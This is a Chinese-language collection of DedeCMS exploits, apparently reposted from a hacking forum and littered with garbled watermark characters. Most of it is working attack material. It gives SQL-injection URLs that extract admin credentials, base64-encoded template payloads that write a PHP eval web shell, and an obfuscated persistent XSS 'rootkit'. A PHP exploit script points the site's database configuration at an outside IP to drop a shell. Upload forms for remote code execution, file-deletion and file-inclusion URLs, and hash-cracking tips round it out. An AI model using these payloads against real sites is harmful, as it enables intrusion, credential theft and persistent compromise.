dedecms漏洞总结

admin

# B2 w' w8 K# f! N/ @Dedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1




$ P* M: v4 u* l- o& f4 E, G
+ \$ D3 w+ w6 E, D
7 Q0 z! v# i" w2 S/ M  k) j

DedeCms v5.6 嵌入恶意代码执行漏洞
2 d7 N: f) I- [  [' J注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。


, F# f8 R. |. `/ T2 `( b) B" J

( ]+ i5 w; q0 B0 D

& S  b2 `4 g7 {0 x  {4 |. t

Dede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7





4 S5 y& i* {) |$ \, |


1 `' ^2 j1 C; G# `3 G, G5 L2 sDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
% r' t& B# M9 i0 \7 J8 r& z


% |* o" W/ n4 x9 b3 f! _4 c
9 n  I# K# m/ {
% \* ~! J2 G: n5 w5 ~7 P; a
DEDECMS 全版本 gotopage变量XSS漏洞
1 ]' i8 `+ @" s- C1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
, H; i/ n5 [! Khttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="

5 X8 q1 m3 L* t) U8 e: o+ A
9 F# l8 k" K" H$ ^, G! O7 @& z" C/ G2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
$ s2 O! ?. v/ `http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
  O: n" z5 N4 m% ^) {6 |% a

3 n" [2 ?9 g7 D2 lhttp://v57.demo.dedecms.com/dede/login.php
* k) C" G& ~: J& a7 b$ J9 `
: @7 M, _$ J. C- @$ t. T
( p4 A7 `) H( }& e3 Kcolor=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
# k8 S$ S  w' C<?php
error_reporting(E_ERROR);
set_time_limit(0);
0 g+ \, X, J; X! R: tprint_r('
! \; B: `7 M9 qDEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
: ^0 ?4 ~) s1 M);
! f7 b3 B2 l# \. Secho "\r\n";
if($argv[2]==null){
2 Z( C  v' |4 J' V% f( f) @1 yprint_r('
+---------------------------------------------------------------------------+
/ R" C+ Q4 l9 `# K5 V# \1 V5 NUsage: php '.$argv[0].' url aid path
6 F9 h, z5 d/ g8 M( C2 E) paid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
( [( T# G7 l8 h; U3 M% l3 C- ?php '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
- ^+ q' O& d+ X9 P');
& s0 s& c- g9 S4 U4 Z! F( c( ~exit;
( ^# n8 i: p, m: U5 F6 l  }. A5 h}
$url=$argv[1];
$aid=$argv[2];
" V; J% X6 `" u$path=$argv[3];
( \) I/ N! g5 O2 s( h- C6 _$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
echo "
Exploit Success \n";
if($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;


if($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;
: l! z! r$ n  Y( U
" y; A  w4 y+ m/ q% s* T  I! D# u
if($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";


& k2 n: m- z! t( b& w}else{
1 X5 c" |- w3 y% `  Qecho "
) Y& Q  X: V! X5 ^3 aExploit Failed \n";
}
function Getshell($url,$aid,$path){
$id=$aid;
5 U6 {; R9 F6 v+ l: j5 ]$host=$url;
$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$ P* v3 _% W% Z: C$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
, z8 H) v5 [- J7 a  W//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
: V7 [% N7 E9 M$data .= "Connection: keep-alive\r\n";
6 R0 z1 V* t0 N! R) l6 B$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($host,$port);
if (!$ock) {
echo "
/ C6 Z, A; C/ E( j8 \No response from ".$host."\n";
3 ^2 k% i  _' b- J}
: A9 f& H( f* Q& yfwrite($ock,$data);
! u, C0 y8 u+ S* p9 {; t: H. Jwhile (!feof($ock)) {
8 v7 I$ N8 d5 @* {5 X0 Z$exp=fgets($ock, 1024);
+ S( u6 W& s. K. Treturn $exp;
}
}


' @+ l$ g) e! a+ v9 p9 w?>




" }4 z7 h9 T% O3 t* n
+ F4 i# M+ W: D
9 \8 {) \, w+ }& T# M- k
* c; T( T: L* T3 H

% z# B' m4 j/ {7 z, H& N  v" y
3 M0 g/ w! L. r& T: \DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root

! B: x9 k  J+ u0 ~8 t
把上面validate=dcug改为当前的验证码，即可直接进入网站后台

' \9 C0 d, P0 U' f* B7 y
- u  ?; w8 ?: m7 D) V. x* `此漏洞的前提是必须得到后台路径才能实现

/ Y5 L( `, ^) A8 {( I+ `$ G

9 }# K% `; b* d, {

& l# j0 ^( X- [6 C! _
8 z- s$ i% s5 Y( w! ?6 c

( A7 W0 |5 ]5 c. |# M: P
! w# R, b/ S" h0 w6 \4 Z3 Q# K
Dedecms织梦 标签远程文件写入漏洞
前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');

9 g) g6 g0 F% t$ r8 _  h4 Y
再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
7 W3 I" i9 x# N4 r7 \<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
. D2 |/ Z4 n8 K9 x. l<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
" d5 b- w" [. L7 X! g5 l2 M<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
% P* [6 P$ S( {9 l3 @<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
+ @4 S! L$ r3 s5 Z) I2 d9 h<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
$ A0 g$ |0 C% T8 y! Nfunction addaction()
3 B! }# I$ V4 N5 p# |  Z& f{
  T, H$ n$ R2 Cdocument.QuickSearch.action=document.QuickSearch.doaction.value;
}
+ f) f3 B# B) K' L( _</script>
& N' s8 d  {5 _5 g5 r
0 ~( M* [+ n* A' A# @% {6 q
- b$ j# C0 v. v+ @' K
. u4 x, a% m, W4 G5 [
" u, b& @* W+ Q4 h* `( E
* \/ k% a7 o3 ^2 b0 ~

/ ~, _/ T6 z# g
0 E0 Q" e" q) K0 H) `9 C  q, y" T+ D& v

+ [. V$ B! ]2 F. {* d# e, \DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
( V+ |, T; A+ D- B. w# ]7 Y2 I2 i! Ra{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg

  j9 a% ^9 y4 K
  x3 [6 C6 W! `$ l6 }' C" r模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
1 j6 v( z; `; g* t% n+ K$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
+ U. |- h7 F, N8 @@fclose($fp);
: l& V; ?: }+ h5 R. M0 Q{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
( D+ q: c3 x' |7 l9 p<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
* p: [# L. @7 R) K; q# @: L<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
, c/ h% [8 R9 Q  r<input type="hidden" name="channelid" value="1" />
5 z& g- o4 b+ K$ x  m9 s<input type="hidden" name="oldlitpic" value="" />
: D: S! n3 W  n$ t) O  |<input type="hidden" name="sortrank" value="1275972263" />
8 C7 ^5 q6 N2 k3 o1 y% J; Y
7 S. Z4 T! ^: d
<div id="mainCp">
: Z: D4 r6 ?) b' o! ]  J<h3 class="meTitle"><strong>修改文章</strong></h3>
% Y. O0 H: d( _. ~8 i7 G5 A

<div class="postForm">
6 z, s3 p) ?8 i/ f3 K<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
$ @! G0 O" t# i. t6 e  q
# A! L; C9 K% A# w# a
- F2 _* c# E1 ?& J0 D4 E* K9 |<label>标签TAG：</label>
( x0 A+ r& a6 C; Q# U<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)


4 ]  ^" y& d. q6 o* {/ l4 X<label>作者：</label>
/ V2 z# [: f: l- D* ~6 V<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>


<label>隶属栏目：</label>
" L/ X- B+ N7 q5 P8 \; h1 R3 _<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
) b& L5 H' P- _4 s& Q. u/ ]- _</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
; ?3 r; G  N- N% {5 u: U/ U3 l
: R3 Q, _7 S5 D7 {; U0 Q# N/ ~" t
<label>我的分类：</label>
$ q8 Y/ c9 \: r) O3 \; i<select name='mtypesid' size='1'>
+ F9 D0 k% T  N: F2 N5 H) t<option value='0' selected>请选择分类...</option>
7 B, f6 \+ o8 Y  d; m  O) @<option value='1' class='option3' selected>hahahha</option>
( Y6 r) k: I( r3 Q8 D" s3 E/ {</select>
# C! G# G, O2 H' C$ t

<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)

- l) y4 T- d( g, |& W4 [1 ]
6 u! ?9 I! q  f* a  l9 P<label>缩略图：</label>
  j% h/ `7 F' c; u<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>


2 s& ^. F2 v: K; J& b( @<input type='text' name='templet'
% O6 |; ]  t! @+ I1 z/ g% b- u: wvalue="../ uploads/userup/2/12OMX04-15A.jpg">
. |) r; d3 W- j  T<input type='text' name='dede_addonfields'
  `/ ~4 n& d3 I/ o9 s" \value="templet,htmltext;">（这里构造）
- o2 C& r9 A7 G  L1 V& o</div>


% a& |/ B5 [% ^+ p- g- `+ l<!-- 表单操作区域 -->
1 @& h2 ?* p# q<h3 class="meTitle">详细内容</h3>
1 G* b* y2 P- g6 g/ I5 B. L- n

7 j$ ]% G; `% c6 J  z4 p8 M<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
! a4 |$ f: k% n" k4 y% G) B* [, y

<label>验证码：</label>
8 |1 O$ P/ d9 b( V/ L2 m! E<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
  o3 v% `" @  Q$ Q: A/ \4 s

% X3 z' F' @& g9 P<button class="button2" type="submit">提交</button>
; m  k6 V/ u9 Z9 \% X<button class="button2 ml10" type="reset">重置</button>
</div>
5 p% L* z7 ?( i  C; z

5 L" C1 [9 R; J" b0 f; {# e</div>
/ F- {( F8 T+ Q  u( g
# I+ c9 H2 ~, \$ r
</form>
# h' V' D3 T; P

提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
6 J/ u5 Z" U8 ~假设刚刚修改的文章的aid为2，则我们只需要访问：
9 P5 O4 X: R: P6 u& u4 w0 Zhttp://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php
) J. j; M3 a: K/ ~$ R: C9 E


- [# W; X8 G  ^4 C# c, H
1 ]% g6 T: Y2 [# |. e( k

' a$ ^% L4 \# N5 F* g0 \
( y- N  S% M2 i




7 C0 a( _; T5 H* r& u2 l) D& G7 {DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
5 @) b) _2 M. N: s( f2 w{/dede:field}
  S0 h: g2 g0 r+ j( t保存为1.gif
/ P8 i4 p/ t% E2 }<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
% y2 v5 Z* ?% g" j<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
6 P2 L! }. S' d+ @0 z<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
8 M2 _7 y  v3 C+ w7 G: q<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
</form>
/ m$ h8 h- J) G
. ]) m/ ?9 g& `$ L$ q) Z8 Q
! l9 j5 s- n# U+ J* D: _8 V# g构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
( e4 u5 ~: S, \$ H/ q  [6 y* N发表文章，然后构造修改表单如下：


<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
% S6 [0 c- R) N& H% U/ w) ?: z' t<input type="hidden" name="aid" value="2" />
9 F" D/ C0 ~4 ~5 t5 o& O& H' N<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
4 W/ F/ q% @$ E9 X# X" S<input type="hidden" name="channelid" value="1" />
, Q9 P9 }9 ^. Y! _3 X<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
3 C2 X- x0 M1 E5 h4 m<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
+ }+ O' ]2 u4 D2 X<select name='typeid' size='1'>
+ o6 I! b9 D; o0 m/ ?6 @2 M<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
+ z& A. B, Y" r<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
  H* P/ T& o4 a' }7 Y+ I<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
5 F1 t# l7 I+ v& r<button class="button2" type="submit">提交</button>
; K" s2 o) Y+ ^1 T% q  q</form>
( s! ^' h: O* M) S) x


# N: O6 E0 v0 i; c




5 m! f  b, Z* e9 [) W) ]

( \6 d* G+ P7 L& H0 `/ k+ h
7 A, s- j$ v7 M
5 Y6 c& {+ j# V$ M% z) N+ w  v3 ^& o织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
( ^) b- {3 P& Y' l# p  b4 x/ j





& C* g& {" E9 M
! R( W- x: t9 p" [


1 y  E. E6 f$ z& J  R织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../


' G% Z0 L* I. y5 M  K9 y, y" F

2 @( U9 f4 A  I, c1 [; ?' H" k

5 X* R; S+ P1 t4 x


6 X. h" o" C# S$ i2 _8 B
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
4 \8 V3 W+ g3 f7 _
/ u2 x1 R" J* W# B1 W, o
& }) e. Y% W4 m0 q6 h; m: m# P
; V' A0 y9 A# m' B


  t% R0 A! S$ T
+ H" V) x' v# \( w+ ^. h3 ^

. ~+ R# O  T) j. B2 }( Q: i
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
+ z( l' A+ b7 p



8 Y- b5 s( Y2 k4 V4 b4 T
: A; X; n2 l3 O" `6 O; H* v- [
- t& f2 c! h/ d2 P# f
" l# W: I9 |2 w) ~9 B. E3 ~


9 p5 V9 s* J" [织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
- p- f" ~( X" @% A- \<html>
% ^8 g! d  s; ~7 Q8 m<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
' `. R$ `3 A, D8 J" i8 z<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
& Y3 ]+ G. ^" Q# V0 l8 ^<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
  A" }. r8 h1 g* s<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
/ b1 O6 ]% x% x  C<input type='hidden' name='f' value='form1.enclosure' />
1 X! K$ V1 |5 K: L7 a, H# C& z: T<input type='hidden' name='job' value='upload' />
9 B" E- _; [& t% D<input type='hidden' name='newname' value='fly.php' />
  K' i/ g9 N% OSelect U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
</form>
& l1 d' e/ g8 ~- ]/ u" c" M4 Z' S<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
" b2 E. P( H( X8 U. Q( C+ r9 U. gFun the game,get a webshell at /data/cache/fly.php...<br />
% z" E# M3 f$ P" h# k8 a( p. `</body>
* w/ |1 s* v/ i</html>
7 i. J. }( H" j, i




5 A+ D8 x) g& S' M$ O

) [, |2 O1 G( T- G+ X) V
8 `# ?! O3 Q1 O2 P. C, v& c& O

3 V7 K/ x- R+ X( ]% ^6 d织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
+ I- O$ b3 k2 u) {利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
$ i& ]3 C: P" W# U5 J0 m1. 访问网址：
, G" U* g6 p$ A  z7 R- Vhttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
1 |; V' p; f+ D0 a2 G. F, s可看见错误信息


/ _1 M. r: C9 |6 E$ t2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>

" ~0 o' Q6 L1 \4 L4 z: t3 Q5 V
4 j9 ^4 f3 Q  w/ j1 m" \& q3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是

6 J2 h) G! m- p5 k$ F7 q( n1 {
<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
/ ?7 U+ e5 i  e/ B2 g! \

按确定后的看到第2步骤的信息表示文件木马上传成功.
; z6 B: A/ ]. M- i8 h0 }+ V/ U$ Y
3 `+ J3 }2 r# B! k7 C! |+ V: f
" e5 t& C- c2 ~; |
: i1 y# l3 j7 @9 C7 Z

; d! _3 O4 E6 e$ P
( l; F: z/ D: J$ N( h
6 f7 [/ y# m2 F' F  Q$ a: i
4 |+ K3 D4 |8 }* a
* |, S4 z$ G# }' W0 \. `3 m6 N8 |; D


织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*